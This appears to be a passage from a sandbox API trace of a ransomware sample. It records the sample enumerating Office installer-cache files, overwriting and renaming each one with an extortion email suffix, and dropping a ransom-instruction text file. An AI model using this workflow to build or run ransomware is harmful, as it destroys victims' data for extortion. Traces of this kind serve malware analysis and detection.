[0048.271] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
[0048.271] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 82
[0048.271] StrStrIW (lpFirst="Office32MUI.xml", lpSrch="SDfghjkl") returned 0x0
[0048.271] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.271] GetProcessHeap () returned 0x2e0000
[0048.272] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.272] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x567, lpOverlapped=0x0) returned 1
[0048.274] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffffa99, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.274] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x567, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x567, lpOverlapped=0x0) returned 1
[0048.274] GetProcessHeap () returned 0x2e0000
[0048.274] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.274] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.274] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.274] CloseHandle (hObject=0x10c) returned 1
[0048.275] GetProcessHeap () returned 0x2e0000
[0048.275] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.275] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 124
[0048.275] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.275] GetProcessHeap () returned 0x2e0000
[0048.275] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.275] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1
[0048.276] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 79
[0048.276] StrStrIW (lpFirst="OWOW32LR.cab", lpSrch="SDfghjkl") returned 0x0
[0048.276] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.276] GetProcessHeap () returned 0x2e0000
[0048.276] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.276] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0048.279] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.279] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0048.279] GetProcessHeap () returned 0x2e0000
[0048.279] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.279] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.279] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.281] CloseHandle (hObject=0x10c) returned 1
[0048.722] GetProcessHeap () returned 0x2e0000
[0048.722] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.723] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0048.723] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.724] GetProcessHeap () returned 0x2e0000
[0048.724] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.724] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0048.724] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0048.724] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0048.724] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.725] GetProcessHeap () returned 0x2e0000
[0048.725] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.725] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x93a, lpOverlapped=0x0) returned 1
[0048.726] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff6c6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.727] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x93a, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x93a, lpOverlapped=0x0) returned 1
[0048.727] GetProcessHeap () returned 0x2e0000
[0048.727] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.727] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.727] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.727] CloseHandle (hObject=0x10c) returned 1
[0048.731] GetProcessHeap () returned 0x2e0000
[0048.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.731] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0048.731] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.731] GetProcessHeap () returned 0x2e0000
[0048.731] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.731] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
[0048.731] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0048.732] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.732] WriteFile (in: hFile=0x10c, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf114*=0x54, lpOverlapped=0x0) returned 1
[0048.733] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf114*=0x18, lpOverlapped=0x0) returned 1
[0048.733] WriteFile (in: hFile=0x10c, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf114*=0xc, lpOverlapped=0x0) returned 1
[0048.733] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf114*=0x16, lpOverlapped=0x0) returned 1
[0048.733] WriteFile (in: hFile=0x10c, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf114*=0x23, lpOverlapped=0x0) returned 1
[0048.733] CloseHandle (hObject=0x10c) returned 1
[0048.733] FindClose (in: hFindFile=0x2fef40 | out: hFindFile=0x2fef40) returned 1
[0048.733] GetProcessHeap () returned 0x2e0000
[0048.733] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x336770 | out: hHeap=0x2e0000) returned 1
[0048.733] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1
[0048.733] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C") returned 66
[0048.733] GetProcessHeap () returned 0x2e0000
[0048.734] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0048.734] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*") returned 68
[0048.734] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
[0048.735] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.") returned 68
[0048.735] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0048.735] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0048.736] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0048.736] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\..") returned 69
[0048.736] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0048.736] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0048.736] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1
[0048.736] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 76
[0048.736] StrStrIW (lpFirst="InfLR.cab", lpSrch="SDfghjkl") returned 0x0
[0048.736] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.736] GetProcessHeap () returned 0x2e0000
[0048.736] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.736] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0048.785] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.785] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0048.785] GetProcessHeap () returned 0x2e0000
[0048.785] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.785] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.786] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.793] CloseHandle (hObject=0x10c) returned 1
[0048.818] GetProcessHeap () returned 0x2e0000
[0048.818] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.818] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0048.818] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.818] GetProcessHeap () returned 0x2e0000
[0048.818] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.818] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1
[0048.818] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 82
[0048.818] StrStrIW (lpFirst="InfoPathMUI.msi", lpSrch="SDfghjkl") returned 0x0
[0048.819] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0048.819] GetProcessHeap () returned 0x2e0000
[0048.819] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0048.819] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0048.820] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0048.821] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0048.821] GetProcessHeap () returned 0x2e0000
[0048.821] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.821] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0048.821] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0048.823] CloseHandle (hObject=0x10c) returned 1
[0048.823] GetProcessHeap () returned 0x2e0000
[0048.823] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0048.823] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 124
[0048.823] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0048.824] GetProcessHeap () returned 0x2e0000
[0048.824] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0048.824] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1
[0048.824] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 82
[0048.824] StrStrIW (lpFirst="InfoPathMUI.xml", lpSrch="SDfghjkl") returned 0x0
